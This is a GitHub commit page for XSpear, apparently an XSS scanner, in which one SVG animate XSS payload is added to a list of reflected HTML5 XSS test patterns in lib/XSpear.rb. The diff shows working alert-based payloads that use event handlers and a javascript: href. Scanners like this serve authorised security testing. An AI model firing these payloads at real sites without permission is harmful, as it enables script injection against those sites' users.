Skip to content

Commit

Permalink
(Fixed #50) Add SVG Animate XSS Payload
Browse files Browse the repository at this point in the history
  • Loading branch information
hahwul committed Feb 7, 2020
1 parent ab0aebd commit c414497
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions lib/XSpear.rb
Original file line number Diff line number Diff line change
Expand Up @@ -537,6 +537,7 @@ def run
r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
r.push makeQueryPattern('x', '"\'><meter onmouseover=alert(45)>0</meter>', '<meter onmouseover=alert(45)>0</meter>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch)
r.push makeQueryPattern('x', '"\'><svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?&semi;javascript:alert(1)&semi;0" /><a id=xss><text x=20 y=20>XSS</text></a>', '<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?&semi;javascript:alert(1)&semi;0" />', 'h', "reflected "+"SVG Animate XSS".red, CallbackStringMatch)


onfocus_tags.each do |t|
Expand Down

0 comments on commit c414497

Please sign in to comment.